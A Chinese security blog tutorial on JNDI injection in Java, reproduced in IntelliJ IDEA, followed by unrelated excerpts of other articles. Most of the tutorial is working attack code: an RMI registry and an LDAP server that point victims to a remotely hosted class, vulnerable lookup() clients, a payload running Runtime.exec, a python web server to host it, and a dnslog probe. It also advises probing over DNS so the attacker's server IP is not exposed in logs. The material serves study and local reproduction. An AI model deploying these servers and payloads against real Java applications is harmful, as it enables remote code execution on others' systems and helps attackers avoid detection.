JNDI注入原理及利用IDEA漏洞复现
🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1 前言
0x2 JNDI简介
0x3 JNDI注入
0x4 JNDI注入漏洞复现
JNDI+RMI
1、基础环境
2、启动服务
3、代码详解
JNDI+LDAP
JNDI+DNS
0x5 总结
0x6 参考链接
0x1 前言
本篇文章我也是看过很多的博客写的,中间也遇到很多问题,JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析,其中漏洞的危害原因主要是lookup()函数可控,可以执行恶意的命令,从而造成恶意攻击。
0x2 JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务和目录服务,如下图:

| 协议 | 作用 |
|---|---|
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名服务 |
| CORBA | 公共对象请求代理体系结构 |
0x3 JNDI注入
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
代码示例:
代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它
package com.rmi.demo;import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用initialContext.lookup(uri); // 获取指定的远程对象}
}
具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
| 协议 | JDK6 | JDK7 | JDK8 | JDK11 |
|---|---|---|---|---|
| LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
| RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
0x4 JNDI注入漏洞复现
JNDI+RMI
1、基础环境
我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。
Java Archive Downloads - Java SE 7

判断自己的JDK环境版本

1、首先 IDEA 新建一个项目

maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。

2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection


3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。
服务端(RMIServer.java)
package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(7778);Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("RCE",wrapper);}}
客户端(RMIClient.java) 客户端也是受害者
package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "rmi://127.0.0.1:7778/RCE";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

HTTP 端恶意载荷(Calculator.java)代码
我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了
public class Calculator {public Calculator() throws Exception {Runtime.getRuntime().exec("calc");}
}

2、启动服务
1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件


2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致
python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端
服务端启动:

客户端启动:

发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!
3、代码详解
InitialContext类
RMIClient.java代码分析
package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "dns://y9p1pr.dnslog.cn";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}
InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。
我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口。

我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

Reference 类
RMIServer.java代码分析
package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(7778);Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("RCE",wrapper);}}
reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

JNDI+LDAP
1、基础环境
1、我们先在java目录下新建一个jndi_ldap_injection包

2、攻击者搭建LDAP服务器,需要导入unboundid依赖库。
在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,



3、创建LDAP的服务端和客户端的代码
LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。
package jndi_ldap_injection;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LDAPServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main (String[] args) {String url = "http://127.0.0.1:8081/#Calculator";int port = 1234;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/****/public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Exploit");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。
package jndi_ldap_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;public class LDAPClient {public static void main(String[] args) throws NamingException{String url = "ldap://127.0.0.1:1234/Calculator";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}}

3、HTTP 端恶意载荷(Calculator.java)代码,跟rmi的恶意载荷一样
public class Calculator {public Calculator() throws Exception {Runtime.getRuntime().exec("calc");}
}
2、启动环境
1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件


2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致
python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现弹窗,顺序为先其服务端,再起客户端 ,跟rmi一样我就不一一演示了

JNDI+DNS
通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。
为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。
我们使用RMI的客户端的漏洞代码即可,只需要把可变量uri修改成DNSlog网站的地址即可
package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "dns://y9p1pr.dnslog.cn";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}
然后运行RMI的客户端,再Refresh Record刷新记录,就可以看到有记录,那么就说明存在JNDI注入漏洞。

0x5 总结
我们在测试JNDI注入的时候,可以使用DNS协议的测试方法,利用dnslog网站的返回值,来判断是否存在JNDI注入。
JNDI漏洞的产生主要是 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。
0x6 参考链接
1、https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb28MDj2C%2BbeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-102、https://www.cnblogs.com/LittleHann/p/17768907.html#_lab2_2_13、https://www.cnblogs.com/0dot7/p/17259327.html
相关文章:
JNDI注入原理及利用IDEA漏洞复现
🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~ ✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 🎉点赞➕评论➕收…...
大数据,或称巨量资料
大数据,或称巨量资料,指的是在传统数据处理应用软件不足以处理的大或复杂的数据集。大数据也可以定义为来自各种来源的大量非结构化或结构化数据。从学术角度而言,大数据的出现促成广泛主题的新颖研究,这也导致各种大数据统计方法…...
windows上打开redis服务闪退问题处理
方法1:在windows上面打开redis服务时,弹窗闪退可能是6379端口占用,可以用以下命令查看: netstat -aon | findstr 6379 如果端口被占用可以用这个命令解决: taskkill /f /pid 进程号 方法2: 可以使用…...
分布式锁简单实现
分布式锁 Redis分布式锁最简单的实现 想要实现分布式锁,必须要求 Redis 有「互斥」的能力,我们可以使用 SETNX 命令,这个命令表示SET if Not Exists,即如果 key 不存在,才会设置它的值,否则什么也不做。 …...
BM23 二叉树的前序遍历
public class Solution {/*** 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可** * param root TreeNode类 * return int整型一维数组*/public void preorder(List<Integer> list,TreeNode root){if(root null)return;l…...
阿里云代理仓库地址
在天朝使用jcenter、mavenCentral及google三个远程仓库,Gradle Sync会很慢,google仓库甚至需要科学上网才能访问。为了加快Gradle Sync速度,一招教你优先用 阿里云仓库服务 的仓库作为下载源。 一劳永逸之道 将本项目的gradle/init.d/init.g…...
nginx的location规则与其他功能
1. nginx中location规则: 规则描述~表示执行一个正则匹配,区分大小写~*表示执行一个正则匹配,不区分大小写^~表示普通字符匹配,如果该选项匹配,只匹配该选项,不匹配别的选项,一般用来匹配目录进…...
用汇编进行字符串匹配
用汇编进行字符串匹配 2、试编写一程序,要求比较两个字符串 STRING1 和 STRING2 所含字符是否完全相同,若相同则显示 MATCH,若不相同则显示 NO MATCH。 .model small .dataSTRING1 db hello world!,0STRING2 db hello china!,0matchString d…...
回归预测 | Matlab基于SAO-BiLSTM雪融算法优化双向长短期记忆神经网络的数据多输入单输出回归预测
回归预测 | Matlab基于SAO-BiLSTM雪融算法优化双向长短期记忆神经网络的数据多输入单输出回归预测 目录 回归预测 | Matlab基于SAO-BiLSTM雪融算法优化双向长短期记忆神经网络的数据多输入单输出回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab基于SAO-B…...
mysql数据库的索引管理
目录 一、索引的概述 1、索引的概念 2、索引的作用 3、索引的副作用 4、创建索引的原则依据 5、索引优化 6、索引的分类 7、数据文件与索引文件 二、管理数据库索引 1、查询索引 2、创建索引 2.1 创建普通索引 2.2 创建唯一索引 2.3 创建主键索引 2.4 创建组合…...
VUE+Vant实现H5组织架构选人选公司组件
提醒自己: 这是之前的逻辑,或许你重新写会有更好的方法,可以参考逻辑!!! 功能介绍 1.有面包屑点击切换 2.有公司、部门、人员 3.单选、多选实现 4.编辑/回显 5.使用随意切换层级和跳转到指定层级回显等功…...
【以图搜图】GPUNPU适配万物识别模型和Milvus向量数据库
目录 以图搜图介绍项目地址Milvuscv_resnest101_general_recognition 代码使用流程结果展示模型部署环境Milvus部署及使用docker安装docker-compose安装Milvus可视化工具Attu进入网页端 Data数据示例点个赞再走呗!比心💞️ 以图搜图 • 🤖 Mo…...
迷茫了!去大厂还是创业?
大家好,我是麦叔,最近我创建了一个 学习圈子 有球友在 星球 里提问。 大厂的layout岗位和小厂的硬件工程师岗位,该如何选择? 这个问题我曾经也纠结过,不过现在的我,I am awake! 肯定是有大点大。…...
Qt源码分析: QEventLoop实现原理
QEventLoop屏蔽了底层消息循环实现细节,向上提供了与平台无关的消息/事件循环。 本文拟对Windows系统下QEventLoop的实现原理予以分析。 注1:限于研究水平,分析难免不当,欢迎批评指正。 注2:文章内容会不定期更新。 …...
痛失offer的八股
java面试八股 mysql篇: 事物的性质: 事物的性质有acid四特性。 a:automic,原子性,要么全部成功,要么全部失败,mysql的undolog,事物在执行的时候,mysql会进行一个快照读…...
【Git】第一课:Git的介绍
简介 什么是Git? Git是一个开源的分布式版本控制系统,用于跟踪代码的改变和协同开发。它最初由Linus Torvalds为了管理Linux内核开发而创建,现已成为开源软件开发中最流行的版本控制系统,没有之一。Git允许多人同时在不同的分支上工作&…...
知识蒸馏——深度学习的简化之道 !!
文章目录 前言 1、什么是知识蒸馏 2、知识蒸馏的原理 3、知识蒸馏的架构 4、应用 结论 前言 在深度学习的世界里,大型神经网络因其出色的性能和准确性而备受青睐。然而,这些网络通常包含数百万甚至数十亿个参数,使得它们在资源受限的环境下&…...
【爬虫】Selenium打开新tab页截图并关闭
如果说 你曾苦过我的甜 我愿活成你的愿 愿不枉啊 愿勇往啊 这盛世每一天 山河无恙 烟火寻常 可是你如愿的眺望 孩子们啊 安睡梦乡 像你深爱的那样 🎵 王菲《如愿》 在自动化测试和网页抓取中,Selenium WebDriver 是一个强大的工具&…...
09 事务和连接池
文章目录 properties文件连接池service层实现类dao层实现类dao层实现类 连接池类: 创建线程池静态常量,用于放连接。 创建Properties静态常量,用于解析properties文件 静态代码块中,解析properties文件,将解析结果用于创建连接池 …...
P4344 [SHOI2015] 脑洞治疗仪 线段树+二分
主要是维护一个连续区间,比较经典的题目,还要考虑一下二分的情况,否则很难处理,比较有难度。这里和序列操作一题的区别是不需要考虑1的个数,因为不需要取反。传送门https://www.luogu.com.cn/problem/P4344 #include&…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南
文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果
前言: 最近在做行为检测相关的模型,用的是时空图卷积网络(STGCN),但原有kinetic-400数据集数据质量较低,需要进行细粒度的标注,同时粗略搜了下已有开源工具基本都集中于图像分割这块,…...
C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...
淘宝扭蛋机小程序系统开发:打造互动性强的购物平台
淘宝扭蛋机小程序系统的开发,旨在打造一个互动性强的购物平台,让用户在购物的同时,能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机,实现旋转、抽拉等动作,增…...
毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...
